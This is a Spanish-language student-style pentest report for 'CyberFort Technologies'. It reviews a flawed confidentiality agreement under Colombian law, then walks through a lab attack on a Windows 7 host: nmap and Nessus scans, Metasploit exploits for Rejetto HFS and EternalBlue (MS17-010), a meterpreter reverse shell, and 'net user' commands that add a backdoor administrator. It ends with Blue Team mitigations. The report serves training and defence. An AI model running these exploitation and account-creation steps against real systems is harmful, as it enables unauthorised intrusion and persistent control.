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Resumen

CyberFort Technologies es una organizacion lider en servicios de consultoria y asesoria en
ciberseguridad, dirigida tanto a empresas del sector privado como a entidades gubernamentales.
Tiene como objetivo formar equipos especializados de Blue Team y Red Team, con el propdsito
de fortalecer su postura de seguridad de su infraestructura tecnologica y mejorar su reputacion en
el mercado frente a sus clientes. Recientemente, la empresa llevo a cabo exhaustivas pruebas de
pentesting en uno de sus activos de informacion maés criticos, logrando identificar varias
vulnerabilidades en un equipo que alberga una aplicacion de gran valor estratégico para la
organizacion. A partir de este analisis detallado, se formularon recomendaciones de seguridad

especificas para mitigar los riesgos detectados y robustecer la infraestructura tecnolédgica.

Ademas, CyberFort Technologies desarrollé un conjunto integral de propuestas para la
implementacion de un sistema de contencidén y respuesta a incidentes informaticos. Estas
propuestas incluyen la instalacion de un firewall de Gltima generacion, la implementacion de un
sistema de deteccion y prevencion de intrusiones (IDS/IPS), y la adopcion de una plataforma de
orquestacion, automatizacion y respuesta de seguridad (SOAR). También se disefiaron
metodologias eficaces para garantizar la proteccion continua de todos los activos de informacion.
Todas estas actividades se llevaron a cabo en estricto cumplimiento de la legislacion vigente y las
normas relacionadas con la proteccion de datos personales, asegurando ademas el comportamiento
ético de los profesionales que integran los equipos de Red Team y Blue Team en CyberFort

Technologies.
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Abstract

CyberFort Technologies is a leading organization in cybersecurity consulting and advisory
services, targeting both private sector companies and government entities. Its goal is to build
specialized Blue Team and Red Team units, aimed at strengthening the security posture of their
technological infrastructure and improving their market reputation with clients. Recently, the
company conducted extensive pentesting on one of its most critical information assets,
successfully identifying several vulnerabilities in a system hosting an application of high strategic
value to the organization. Following this detailed analysis, specific security recommendations were

made to mitigate the identified risks and strengthen the technological infrastructure.

In addition, CyberFort Technologies developed a comprehensive set of proposals for the
implementation of a containment and incident response system. These proposals include the
installation of a next-generation firewall, the implementation of an Intrusion Detection and
Prevention System (IDS/IPS), and the adoption of a Security Orchestration, Automation, and
Response (SOAR) platform. Effective methodologies were also designed to ensure the continuous
protection of all information assets. All these activities were carried out in strict compliance with
current legislation and regulations related to personal data protection, while also ensuring the
ethical conduct of the professionals who comprise the Red Team and Blue Team at CyberFort

Technologies.
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GLOSARIO

Backdoor: Es un malware elaborado para eludir las medidas de seguridad y poder
acceder a un sistema, red o aplicacion.

Blue Team: Es un grupo de expertos en ciberseguridad encargados de defender la
infraestructura de una organizacion frente a los riesgos cibernéticos.

Dominio: Es un nombre unico que identifica a un sitio web o una red en Internet.

Exploit: Es un programa o codigo que aprovecha una vulnerabilidad en un sistema,
aplicacion o red para realizar acciones no autorizadas.

Intrusion: Es un acceso no autorizado a un sistema, red o aplicacion, generalmente con
la intencion de robar, alterar o destruir datos, o interrumpir el funcionamiento normal del
sistema.

IP: (Protocolo de Internet) es una direccion unica asignada a cada dispositivo conectado
a una red que utiliza el Protocolo de Internet para comunicarse.

Meterpreter: Es una herramienta avanzada de post-explotacion que forma parte del
framework Metasploit. Se utiliza para interactuar con sistemas comprometidos,
permitiendo a los atacantes ejecutar comandos.

Pentesting: Es un proceso en el que se simulan ataques cibernéticos controlados contra
un sistema, red o aplicacion para identificar y explotar vulnerabilidades.

Puerto: Es un punto de comunicacion virtual que permite a los dispositivos y aplicaciones
intercambiar datos a través de una red.

Ransomware: Es un tipo de malware que cifra los archivos de una victima, bloqueando
el acceso a ellos.

Red Team: Es un grupo de expertos en ciberseguridad que simula ataques reales para
identificar y explotar vulnerabilidades en la infraestructura de una organizacion.

Shell: Es una interfaz que permite a los usuarios interactuar con el sistema operativo.
Puede ser una interfaz de linea de comandos (CLI).

Vulnerabilidad: Es una debilidad o falla en un sistema, aplicacion, red o proceso que
puede ser explotada por atacantes para comprometer la seguridad.



Introduccion

La conformacion de equipos de Blue Team y Red Team es crucial para fortalecer la
ciberseguridad en las organizaciones. Los equipos de Blue Team se encargan de la defensa,
monitoreando y protegiendo los sistemas contra ataques cibernéticos. Su objetivo es detectar,
responder y mitigar amenazas en tiempo real. Por otro lado, los equipos de Red Team simulan
ataques reales para identificar vulnerabilidades y evaluar la efectividad de las defensas del Blue
Team.

Esta dindmica de ataque y defensa permite a las organizaciones mejorar continuamente sus
estrategias de seguridad, identificar puntos débiles y desarrollar respuestas mas efectivas ante
incidentes. La colaboracion entre Blue Team y Red Team es esencial para crear un entorno de
ciberseguridad robusto y resiliente.

En el siguiente informe se presentara un andlisis detallado de las pruebas de intrusion
realizadas para la organizacion CyberFort Technologies como también de las recomendaciones de
seguridad propuestas para mitigar los riesgos cibernéticos identificados y las estrategias de

seguridad enfocadas a prevenir futuros incidentes cibernéticos.
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Objetivos

Objetivo General

Elaborar un informe técnico detallado para la organizacion CyberFort Technologies, con
el proposito de establecer los resultados de las pruebas de pentesting realizadas y las
recomendaciones de seguridad elaboradas para mitigar los riesgos cibernéticos.
Objetivos Especificos

Analizar y explicar los resultados de la prueba de pentesting realizada a la organizacion
CyberFort Technologies.

Establecer recomendaciones y estrategias de seguridad enfocadas a fortalecer la seguridad
de la infraestructura tecnolégica.

Formular las conclusiones, posterior a las actividades realizadas previamente.
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ANALISIS LEGAL CYBERFORT TECHNOLOGIES — ACUERDO DE

CONFIDENCIALIDAD

Este informe inicial tiene como propdsito informar a la gerencia de CyberFort
Technologies sobre las irregularidades encontradas en el acuerdo de confidencialidad elaborado
por el abogado de la empresa. Se han identificado varias clausulas que presentan aspectos no éticos

y/o ilegales, las cuales se detallan a continuacion.

Clausula Primera: La cldusula que menciona “La informacion confidencial o sobre
procesos ilegales dentro de CyberFort Technologies” fomenta el encubrimiento de actividades

ilicitas, lo cual es contrario a los deberes éticos de un profesional en ingenieria.

Clausula Segunda (Definicion de informacion confidencial): Incluir actividades ilegales
como “datos de chuzadas, interceptacion de informacioén, accesos abusivos a sistemas
informaticos” dentro de la definicién de informacion confidencial es problematico, ya que estas

actividades no pueden ser protegidas por un acuerdo de confidencialidad.

Clausula Cuarta (Puntos 3, 4 y 9) — Obligaciones de la parte Receptora: Esta clausula
prohibe denunciar cualquier actividad sospechosa de espionaje o apropiacion de informacion, lo
cual es problematico. Segtn las leyes en Colombia, cualquier persona tiene el deber de reportar

actividades ilegales a las autoridades competentes.
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Clausula Octava — Solucion de Controversias: La cldusula que establece que “En caso
de que la informacion ilegal o confidencial sea encontrada en manos del receptor, este debera
acudir a un abogado privado y dejar exenta de cualquier responsabilidad legal y penal a CyberFort
Technologies” exime a la empresa de cualquier responsabilidad legal, lo cual no es legalmente

valido.

Articulos de 1a Ley 1273 Vulnerados

Articulo 269*: Acceso abusivo a un sistema informéatico: La ejecucion de actividades
ilegales como el acceso indebido a sistemas informaticos vulnera este articulo!. La clausula

primera fomenta el encubrimiento de estos accesos no autorizados.

Articulo 269H: Circunstancias de agravacion punitiva: Incentivar el encubrimiento de
actos ilegales puede agravar las penas debido a las circunstancias que genera el incumplimiento
del articulo 269%.

Articulo 269C: Interceptacion de datos informadticos: La definicion de informacion
confidencial que incluye “datos de chuzadas, interceptacion de informacion” vulnera directamente

este articulo.

U Policia. (2009). Ley 1273 [LEY_ 1273 2009].Policia. (pp. 1-4). https://www.policia.gov.co/denuncia-

virtual/normatividad-delitos-informaticos



https://www.policia.gov.co/denuncia-virtual/normatividad-delitos-informaticos
https://www.policia.gov.co/denuncia-virtual/normatividad-delitos-informaticos
https://www.policia.gov.co/denuncia-virtual/normatividad-delitos-informaticos
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Articulo 269F: Violacion de datos personales: La prohibicion de denunciar actividades
ilegales atenta contra la apropiacion de informacion confidencial® y puede generar sanciones y

penas de prision.

Las irregularidades detectadas en el acuerdo de confidencialidad de CyberFort
Technologies representan un riesgo legal y ético significativo. Se recomienda revisar y modificar
las cldusulas mencionadas para alinearlas con las legislaciones vigentes y los principios éticos

profesionales.

EJERCICIO DE RED TEAM EJECUTADO

Debido a una fuga de informacion detectada en uno de los equipos de CyberFort
Technologies, se llevo a cabo una prueba de pentesting para identificar la vulnerabilidad asociada
con una de las aplicaciones instaladas en un sistema Windows. Esta prueba se realiz6 siguiendo
las fases y metodologias establecidas por diversos marcos de trabajo en pentesting. A continuacion,

se presentan los resultados obtenidos en cada fase del proceso.

Fase de Reconocimiento y Analisis de Vulnerabilidades

En la primera fase, se realizd un reconocimiento del equipo y un andlisis de

vulnerabilidades. Utilizando la herramienta nmap, se escaned toda la red y se identific6 la IP del

2 Gobierno Digital. (2022). Decreto 338. https://gobiernodigital. mintic.gov.co/692/articles-238198 recurso_1.pdf



https://gobiernodigital.mintic.gov.co/692/articles-238198_recurso_1.pdf
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equipo Windows 7 (10.0.2.4). Se ejecutd el comando nmap 10.0.2.4 -Pn -A para identificar puertos
y servicios abiertos, asi como posibles vulnerabilidades®. Los resultados mostraron puertos
abiertos: 135/tcp, 139/tcp, 445/tcp y 80/tep. Se detectd una vulnerabilidad critica en el puerto 445
(SMB), referenciada como "MS17-010", y varias vulnerabilidades en el puerto 80 (HTTP)

asociadas a CVE-2007-6750 y CVE-2011-3192. Ver Figura 1.

Figura. 1

Escaneo de puertos

10.0.2.4
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-08 10:53 EST
Nmap scan report for 10.0.2.4
Host is up (0.0046s latency).
Not shown: 996 filtered tcp ports (no-response)
STATE SERVICE VERSION
open http HttpFileServer httpd 1.5 rc5
|_http-title: HFS /
| _http-server-header: HFS 1.5 rc5
open msrpc Microsoft Windows RPC
open netbios-ssn Microsoft Windows netbios-ssn
open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
Info: Host: PC202006; 0S: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:

| 2:1:0:

I_ Message signing enabled but not required

| _clock-skew: mean: 1h40m@@s, deviation: 2h53ml12s, median: @s
| smb-security-mode:

| account_used: guest

| authentication_level: user

| challenge_response: supported

|_ message_signing: disabled (dangerous, but default)

| smb2-time:

| date: 2024-11-08T15:53:43

|_ start_date: 2024-11-08T15:48:38

| smb-os-discovery:

| 0S: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
| 0S CPE: cpe:/o:microsoft:windows_7::spl:professional

| Computer name: PC202006

| NetBIOS computer name: PC202006\x00

| Workgroup: WORKGROUP\x00

Fuente. Autoria Propia.

3 Gerick Toro.(2008). Guia de referencia de Nmap. pp 1-49. Manual-de-uso-de-Nmap.pdf (riseup.net)



https://we.riseup.net/assets/77169/Manual-de-uso-de-Nmap.pdf
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Para un andlisis mas detallado, se utilizd la herramienta Nessus, que identificd 2
vulnerabilidades criticas, 2 de alta categoria, 1 de baja categoria y 31 con informacién relacionada
con el host. Entre las vulnerabilidades criticas, se destaco nuevamente la MS17-010 y fallas de
seguridad en el protocolo HTTP del puerto 80. Ver figura 2.

Figura. 2

Reporte Nessus

10.0.2.4
MEDIUM LOW INFO

Scan Information
Start time: Mon Oct 28 22:12:10 2024
End time: Mon Oct 28 22:20:59 2024
Host Information
Netbios Name: PC202006
IP: 10.0.2.4
MAC Address: 08:00:27:92:80:C0
OS: Microsoft Windows 7 Professional

Fuente. Autoria Propia
En la siguiente tabla se enumeran los puertos abiertos en el host, protocolos, servicios
asociados y las vulnerabilidades identificadas en estos puertos.

Tabla 1

Vulnerabilidades identificadas.

Puerto Servicio Vulnerabilidad CVE Asociado

135 /TCP RPC No detectada No detectada

139 /TCP NetBIOS No detectada No detectada

445 /TCP SMBv1 smb-ms17-010 (Eternalblue, CVE-2017-0143, CVE-2017-

Wannacry, petya, eternalrocks) 0144, CVE-2017-0145,
CVE-2017-0146, CVE 2017-
0148
80/TCP HTTP (HFS) DoS, Ejecucion remota de CVE-2007-6750 y CVE-
comandos RCE 2011-3192
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Fase de Explotacion

Explotacion de la Vulnerabilidad HFS Rejetto (HTTP File Server): Se utilizo
Metasploit para buscar y configurar el exploit apropiado para la aplicacion HFS Rejetto (version
1.5) en el puerto 80. Se identificaron dos exploits:

o exploit/windows/http/rejetto_hfs rce cve 2024 23692
o exploit/windows/http/rejetto_hfs exec.

En la siguiente figura se ilustra los exploits identificados para la aplicacion hfs, haciendo

uso de la herramienta metasploit con el parametro search

Figura. 3
Exploits Hfs

Metasploit Documentation: https://docs.metasploit.com/
msf6 > search HFS 1.5
No results from search
msf6 > search HFS
Matching Modules

Name Disclosure Date Rank Description

exploit/multi/http/git_client_command_exec 2014-12-18 Malicious Git and Mercurial HTTP Server For CVE-2014-9390
Automatic o o
\_ Powershell . .
exploit/ /rejetto_F8_rce_cve_2024_23692 2024-05-25 Rejetto HTTP File Server (HES) Unauthenticated Remote Code Execution
exploit/wind: ttp/rejetto_hfS_exec 2014-09-11 Rejetto HttpFileServer Remote Command Execution

Interact with a module by name or index. For example , or
Fuente. Autoria Propia
Se configuré y ejecutd el exploit, logrando establecer una sesion remota mediante

meterpreter y escalando privilegios para crear un usuario administrador*. Ver Figura 4.

4 Guillén Zafra, J. L. (2017). Introduccion al pentesting. https://diposit.ub.edu/dspace/handle/2445/124085



https://diposit.ub.edu/dspace/handle/2445/124085
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Figura. 4
Explotacion vulneranbilidad

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description

EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 10.0.2.5 yes The listen address (an interface may be specified)
LPORT (YA yes The listen port

Exploit target:
Id Name

Automatic

View the full module info with the inf or inf d command.
msf6 exploit( ) > exploit

Started reverse TCP handler on 10.0.2.5:4444

Using URL: http://10.0.2.5:8080/el6daxKmbQ4Z18

Server started.

Sending a malicious request to /

Payload request received: /el6daxKmbQ4Z18

Sending stage (176198 bytes) to 10.0.2.4

Tried to delete ¥TEMP%\cKXHhojpvz.vbs, unknown result

Meterpreter session 1 opened (10.0.2.5:4444 — 10.0.2.4:49433) at 2024-11-08 12:52:16 -0500
Server stopped.

Fuente. Autoria Propia

Explotacion de la Vulnerabilidad MS17-010 (Protocolo SMB): Se exploté la
vulnerabilidad ~ MS17-010  utilizando ~ Metasploit. ~ Se  configur6 el  exploit
exploit/windows/smb/ms17-010 eternalblue y se ejecutd, obteniendo una conexién por
meterpreter y acceso a la Shell de Windows. Se cre6 un usuario administrador desde la Shell,

manteniendo el control total sobre el host. Ver figura 5.
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Figura. 5

Exploits SMB

etasploit v6.4 ev

2437 exploits - auxiliary - 429 post
1468 payloads - 47 encoders - 11 nops

9 evasion

Metasploit Documentation: https://docs.metasploit.com/
msf6 > search ms17_010

Matching Modules

Name Di re Date Rank Check D iption
exploit/windows/smb/MS272010_eternalblue 2017-03-14 average Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
Automatic Target
Windows 7
Windows Embedded Standard 7
: Windows Server 2008 R2
: Windows 8
Windows 8.1
Windows Server 2012
Windows 10 Pro .
ndows 10 Enterprise Evaluation . . .
ws/smb/MSE7.010_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code

: Automatic
: PowerShell
Native upload
\_ target: MOF upload
\_ AKA: ETERNALSYNERGY

Fuente. Autoria Propia

Fase de Post-Explotacion

En la fase de post-explotacion, se realizé un escalamiento de privilegios creando un usuario
administrador desde la Shell de Windows. Esto permitié obtener y mantener el control total sobre
el host. En la figura 6 se ilustra el usuario con privilegios de administrador creado en la maquina

durante la fase de post-explotacion.
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Figura. 6

Elevacion de privilegios Shell de Windows

meterpreter > shell
Process 1664 created.

Channel 1 created.
Microsoft Windows [Versien 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. Reservados todos los derechos.

C:\Windows\system32>net user CristianVega root2024 /add

net user CristianVega root2024 /add
Se ha completado el comando correctamente.

C:\Windows\system32>net localgroup Administradores CristianVega /add

net localgroup Administradores CristianVega /add
Se ha completado el comando correctamente.

C:\Windows\system32>net user
net user

Cuentas de usuario de \\
Administrador CristianVega Invitado

usuario
El comando se ha completado con uno o mes errores.

Fuente. Autoria Propia

Finalmente en la siguiente figura se evidencia desde el equipo Windows 7 los usuarios
locales de la maquina y el usuario creado con privilegios de administrador durante la fase de post-
explotacion. De acuerdo con este ejercicio de Red Team se puede determinar el nivel de impacto
y riesgo que puede representar este equipo para la organizacion y la alta probabilidad de que un
incidente cibernético se materialice, ocasionando una amenaza para la confidencialidad, integridad

y disponibilidad de la informacion.



Figura. 7
Usuario Administrador

@ Administracion de equipos
Archivo Accion Ver Ayuda

A Administracién del equipo (loc
4 {f} Herramientas del sistema
> @ Programador de tareas
Visor de eventos
1 il Carpetas compartidas
4 #% Usuarios y grupos localy
] Usuarios
| Grupos
» (®) Rendimiento
&4 Administrador de dispo
4 g Almacenamiento
=9 Administracién de discq
b ;:‘9 Servicios y Aplicaciones

Fuente. Autoria Propia

Nombre

& Administradores

& Duplicadores
J1S_1USRS

& Invitados

&/ Lectores del registro d

& Operadores criptograf...
# Operadores de config...
& Operadores de copia ...

& Usuarios
#% Usuarios avanzados

& Usuarios COM distrib...
& Usuarios de escritorio ...
# Usuarios del monitor ...
# Usuarios del registro d...

& HomeUsers

Descripcién:  Los administradores tienen acceso completo y sin restricciones al

Miembros:

& Administrador
Q CristianVega

§J usuario
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BLUE TEAM: ESTRATEGIAS DE MITIGACION Y CONTENCION.

En respuesta a las vulnerabilidades identificadas en el equipo Windows 7 , se presenta un

informe detallado con las estrategias de mitigacion recomendadas para garantizar la seguridad y

continuidad operativa de CyberFort Technologies.

Actualizar el Sistema Operativo

Descripcion del Problema: La version del sistema operativo Windows 7 ya no
recibe soporte de Microsoft, lo que incrementa su vulnerabilidad a diversos ataques
cibernéticos. La falta de actualizaciones de seguridad deja el sistema expuesto a

exploits conocidos y nuevas amenazas.

Accion Recomendada: Se recomienda actualizar todos los sistemas que aun operan
con Windows 7 a la ultima versiéon de Windows disponible. Este proceso debe
incluir la instalacion de todos los parches de seguridad y actualizaciones criticas

para asegurar que los sistemas estén protegidos contra las amenazas mas recientes.

Impacto Esperado: La actualizacion del sistema operativo reducird
significativamente el riesgo de ataques y mejorard la estabilidad y el rendimiento

general de los sistemas.
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Actualizar o Reemplazar HFS

e Descripcion del Problema: La version actual del HTTP File Server (HFS) utilizada
en la infraestructura estd obsoleta y no cumple con los estandares de seguridad
modernos. Esto puede permitir a los atacantes explotar vulnerabilidades conocidas

para comprometer el servidor.

e Accion Recomendada: Se recomienda actualizar HFS a su ultima version
disponible. Alternativamente, se puede considerar reemplazar HFS con un software
o servidor HTTP mas seguro y actualizado que cumpla con los requisitos de

seguridad de la organizacion.

e Impacto Esperado: La actualizacion o reemplazo de HFS mejorara la seguridad del
servidor, reduciendo el riesgo de explotacion de vulnerabilidades y mejorando la

eficiencia operativa.

Deshabilitar SMBv1

e Descripcion del Problema: EI protocolo SMBv1 es conocido por sus
vulnerabilidades que permiten la ejecucion de codigo remoto, lo que puede ser

explotado por atacantes para tomar control de los sistemas.
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Accion Recomendada: Es crucial deshabilitar SMBv1 en todos los equipos y
configurar SMBvV3, que ofrece mejoras significativas en seguridad. Ademas, se
deben configurar los parametros de seguridad necesarios para evitar la ejecucion de

codigo remoto a través de la Shell de Windows.

Impacto Esperado: La deshabilitacion de SMBv1 y la implementacion de SMBv3
fortaleceran la seguridad de la red, previniendo posibles ataques y mejorando la

integridad de los datos.

Configurar un Firewall Perimetral

Descripcion del Problema: La falta de un firewall perimetral adecuado puede
permitir el acceso no autorizado a la red de la organizacidon, exponiendo los

sistemas a ataques externos.

Accion Recomendada: Se recomienda instalar o configurar un firewall de seguridad
perimetral para gestionar los puertos abiertos y controlar el trafico entrante no
deseado. Este firewall debe ser capaz de bloquear intentos de acceso no autorizados

y permitir solo el trafico legitimo.

Impacto Esperado: La implementacion de un firewall perimetral mejorara la
seguridad de la red, protegiendo los sistemas contra accesos no autorizados y

ataques externos.
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Implementar un Gestor de Parches de Seguridad

e Descripcion del Problema: La gestion inadecuada de parches de seguridad puede

dejar los sistemas vulnerables a exploits conocidos y nuevas amenazas.

e Accion Recomendada: Se debe configurar el servidor WSUS (Windows Server
Update Services) para gestionar todos los parches de seguridad y actualizaciones
en los equipos con sistemas Windows. Esto asegurara que todos los sistemas estén

actualizados con las ultimas correcciones de seguridad.

e Impacto Esperado: La implementacion de un gestor de parches de seguridad
garantizard que los sistemas estén protegidos contra vulnerabilidades conocidas,

mejorando la seguridad general de la infraestructura.

Instalar y Usar Antivirus

e Descripcion del Problema: La ausencia de un antivirus robusto puede permitir que
actividades maliciosas pasen desapercibidas, comprometiendo la seguridad de los

sistemas.

e Accion Recomendada: Es indispensable instalar un antivirus robusto que tenga la

capacidad de analizar y detectar cualquier actividad maliciosa en los equipos de la
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organizacion. Ademads, esta herramienta debe ser capaz de aislar los dispositivos

infectados o comprometidos para evitar la propagacion de malware.

Impacto Esperado: La instalacion y uso de un antivirus robusto mejorard la
capacidad de deteccion y respuesta ante amenazas, protegiendo los sistemas contra

infecciones y ataques.

Control de Acceso

Descripcion del Problema: La falta de politicas de control de acceso adecuadas
puede permitir el acceso no autorizado a los sistemas y datos sensibles de la

organizacion.

Accion Recomendada: Se deben establecer politicas de control de acceso y
administraciéon de roles para las cuentas de usuario en los sistemas de la
organizacion. Estas politicas deben alinearse con las recomendaciones establecidas

por los diferentes estandares de seguridad.

Impacto Esperado: La implementacion de politicas de control de acceso mejorara
la seguridad de los datos y sistemas, asegurando que solo el personal autorizado

tenga acceso a informacion sensible.
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Monitoreo de 1a Red

e Descripcion del Problema: La falta de monitoreo en tiempo real puede permitir que
actividades maliciosas pasen desapercibidas, comprometiendo la seguridad de la

infraestructura.

e Accion Recomendada: Se recomienda la instalacion de sistemas IDS/IPS (Intrusion
Detection System/Intrusion Prevention System), SIEM (Security Information and
Event Management), entre otros, para el monitoreo continuo de la infraestructura.

Estos sistemas permitiran detectar y responder a anomalias en tiempo real®.

e Impacto Esperado: El monitoreo continuo de la red mejorard la capacidad de
deteccidn y respuesta ante amenazas, protegiendo la infraestructura contra posibles

intrusiones y ataques.

RECOMENDACIONES DE SEGURIDAD PARA LA CONTENCION Y RESPUESTA A

INCIDENTES CIBERNETICOS EN TIEMPO REAL

Para mejorar la capacidad de respuesta ante incidentes de seguridad, se recomienda la

instalacion y configuracion de las siguientes herramientas:

5 Paez Sotomonte, B. O. (2020). Sistemas de deteccion de intrusiones: IDS vs sistemas de prevencion de intrusiones:

IPS. https://repository.unipiloto.edu.co/handle/20.500.12277/7427



https://repository.unipiloto.edu.co/handle/20.500.12277/7427
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Firewall de Nueva Generacion (NGFW)

Descripcion: Un NGFW ofrece proteccion avanzada contra amenazas, filtrando paquetes,
controlando aplicaciones y utilizando inteligencia de amenazas®.
Funciones Clave:
e Filtrado de paquetes y contenido.
e Control de aplicaciones.
e Actualizacion constante de firmas de malware.
e Gestion segura de VPN.
Beneficio: Proporciona una proteccion mas detallada y efectiva contra amenazas

avanzadas.

IDS/IPS (Sistemas de Deteccion y Prevencion de Intrusos)

Descripcion: Estas herramientas monitorean y protegen la red en tiempo real, detectando

y bloqueando actividades sospechosas.

Funciones Clave:
e Monitoreo en tiempo real.

e Uso de bases de datos de firmas de ataques.

¢ Cortés Aldana, D. G. (2016). Firewalls de nueva generacion: la seguridad informatica vanguardista (Bachelor's

thesis, Universidad Piloto de Colombia). https://repository.unipiloto.edu.co/handle/20.500.12277/2719



https://repository.unipiloto.edu.co/handle/20.500.12277/2719
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e Inteligencia artificial para detectar anomalias.

Beneficio: Mejoran la capacidad de deteccion y respuesta ante amenazas.

SOAR (Sistemas de Orquestacion, Automatizacion y Respuesta de Seguridad)

Descripcion: Un SOAR ayuda a gestionar y responder a incidentes de manera eficiente,

automatizando tareas y coordinando herramientas de seguridad’.

Funciones Clave:
e Integracion de herramientas de seguridad.
e Automatizacion de tareas rutinarias.
e Gestion centralizada de incidentes.

e Priorizacion de eventos de seguridad.

Beneficio: Mejora la eficiencia y efectividad de las respuestas a incidentes.

7 Medina, P. (2021). Plataformas SOAR. Respuesta orquestada y automatizada de la seguridad.

https://www.lareferencia.info/vufind/Record/ES_2ce59a6elea3d7925e¢b8al72¢72¢elcad


https://www.lareferencia.info/vufind/Record/ES_2ce59a6e1ea3d7925eb8a172e72e1ca4
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Conclusiones

La conformacién de equipos de Blue Team y Red Team es indispensable en una
organizacion debido a su capacidad para proporcionar una defensa integral contra amenazas
cibernéticas. Los equipos de Blue Team se encargan de la defensa proactiva, monitoreando y
protegiendo los sistemas de la organizacion, mientras que los equipos de Red Team adoptan un
enfoque ofensivo, simulando ataques para identificar vulnerabilidades. Esta interaccion fomenta
una mejora continua de la seguridad, ya que los equipos de Red Team descubren fallos y
debilidades, y los equipos de Blue Teams ajustan sus estrategias de defensa en consecuencia.
Ademas, la simulacion de ataques reales permite a la organizacion evaluar y mejorar sus planes de
respuesta a incidentes, asegurando una preparacion efectiva ante ataques reales. La presencia de
estos equipos también aumenta la conciencia sobre la ciberseguridad dentro de la organizacion y

proporciona oportunidades de capacitacion practica para el personal.

En resumen, la colaboracion entre los equipos de Blue Team y Red Team es esencial para
crear un entorno de seguridad robusto y resiliente, capaz de proteger a la organizacion contra una

amplia gama de amenazas cibernéticas.
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Recomendaciones

Planificar ejercicios de simulacion de ataques cibernéticos periddicamente es fundamental
para poder evaluar y mejorar los planes de respuesta ante posibles incidentes y fortalecer los

controles de seguridad existentes en una organizacion

Establecer una interaccion sinérgica entre los equipos de Blue Team y Red Team es

primoridial para lograr una identificacién y mitigacion de riesgos mucho mas efectiva y proactiva.

La implementacion de herramientas informaticas sofisticadas y modernas en un entorno
tecnologico, es vital para garantizar una proteccion mas efectiva. Estas herramientas avanzadas

permiten una deteccion y respuesta mas rapida a las amenazas cibernéticas.

Es esencial establecer controles y estrategias de seguridad que estén alineados con las
metodologias existentes y los estandares de seguridad reconocidos, ademas de facilitar el

cumplimiento con las mejores practicas y normativas del sector.

Es fundamental invertir en la capacitacion y mejora continua del personal de seguridad en
una organizacion. Esto asegura que el equipo esté siempre actualizado con las ultimas amenazas y
técnicas de defensa, fortaleciendo asi la postura de seguridad y la capacidad de respuesta ante

incidentes cibernéticos.
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Anexo A
Enlace Video

https://youtu.be/iHGeiExgklw
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https://youtu.be/iHGeiExgk1w

